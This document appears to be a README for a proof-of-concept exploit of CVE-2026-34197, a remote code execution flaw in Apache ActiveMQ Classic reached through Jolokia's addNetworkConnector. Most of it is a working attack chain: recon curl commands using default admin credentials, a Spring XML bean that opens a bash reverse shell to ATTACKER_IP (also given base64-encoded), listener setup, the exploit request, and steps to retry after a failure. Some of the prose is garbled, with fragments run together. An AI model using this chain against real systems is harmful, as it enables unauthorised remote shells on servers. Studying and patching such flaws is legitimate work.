
Proof-of-concept exploit for CVE-2026-34197, an RCE in Apache ActiveMQ via Jolokia's addNetworkConnector, with technical notes and reverse shell payload.
addNetworkConnector RCEProof-of-concept and technical notes for CVE-2026-34197, a remote code execution vulnerability in Apache ActiveMQ Classic reachable through the Jolokia JMX-HTTP bridge.
conf/jolokia-access.xml)
grants exec on every org.apache.activemq:* MBean. This includes
Broker.addNetworkConnector(String), which accepts a vm:// transport URI
whose brokerConfig query parameter the broker fetches and parses as a
Spring XML bean definition file. A bean whose class is
with is instantiated —
and started — as a side effect of Spring resolving the bean graph. No
deserialization gadget chain required.java.lang.ProcessBuilderinit-method="start"⚠️ For authorized testing / research / CTF use only. Do not run this against systems you don't own or have explicit permission to test.
curl -s http://$TARGET:8161/ | grep -oiE 'activemq[^<]*[0-9]+\.[0-9]+\.[0-9]+'
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/version" | python3 -m json.tool
Confirm exec is actually reachable on the Broker MBean:
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/list/org.apache.activemq:type=Broker,brokerName=localhost" \
| python3 -m json.tool | grep -A3 addNetworkConnector
addNetworkConnector(String) does not accept a bare vm://... URI — it's
parsed as a discovery-agent URI first, and vm isn't a registered discovery
scheme (DiscoveryAgent scheme NOT recognized: [vm]). Wrap it in
static:(...), ActiveMQ's static-discovery scheme, which passes the inner
vm:// URI through unmodified:
static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)
poc.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
The <![CDATA[...]]> wrapper is needed because the reverse-shell one-liner
contains &, which XML would otherwise try to parse as the start of an
entity reference. An equivalent, escaping-free option is to base64 the
command instead:
<value>echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=|base64 -d|bash</value>
Serve it:
python3 -m http.server 8000
Start a listener:
nc -lvnp 4444
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)"]
}'
The Origin header matters. If this version's jolokia-access.xml has
CORS enforcement enabled (a <cors></cors> block, even empty), Jolokia
requires a well-formed Origin/Referer on state-changing requests. Omit it
and you'll get a policy-denied response that can look like the box is
patched when it isn't.
A successful call returns:
{"value":"NC","status":200}
The call is blind over HTTP — there's no response body carrying command output — so your listener from the previous step is what actually catches the shell.
InstanceAlreadyExistsException gotchaaddNetworkConnector(String) always registers the resulting JMX object
under the connector name NC, regardless of what URI you pass in. This
is a hardcoded default in ActiveMQ itself, not something derived from the
request:
// NetworkBridgeConfiguration.java (NetworkConnector extends this class)
private String name = "NC";
BrokerViewMBean.addNetworkConnector(String discoveryAddress) never exposes
a way to override it — there is no name/query-parameter trick that changes
the registered ObjectName (tested by hand: appending ?name=whatever
outside the static:(...) wrapper is silently ignored).
Consequence: the second call to addNetworkConnector — whether it's
your own retry after a broken payload, or simply because the connector is
already registered from an earlier successful run — fails:
{
"error_type": "java.io.IOException",
"error_type_jmx": "javax.management.InstanceAlreadyExistsException",
"error": "Network Connector could not be registered in JMX: org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC",
"status": 500
}
This does not require a broker restart to recover from. Broker also
exposes removeNetworkConnector(String) over the same Jolokia policy (the
<allow operation="*"> grant on org.apache.activemq:* covers every broker
operation, not just this one). Clear the stale connector by name and retry:
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}'
A successful call returns {"value":true,"status":200}. Re-run step 3
immediately after — it re-registers NC and fires poc.xml again.
admin HTTP Basic credential, which is unrelated to the OS account.addNetworkConnector doesn't just run the Spring bean once — it leaves a
live network connector object registered on the broker
(org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC).
This is a durable artifact of exploitation, independent of whether the
spawned process itself persists.NetworkBridgeConfiguration.java — source of the private String name = "NC"; defaultBrokerViewMBean.java — addNetworkConnector / removeNetworkConnector JMX interfaceNetworkConnector.javaDiscoveryNetworkConnector.java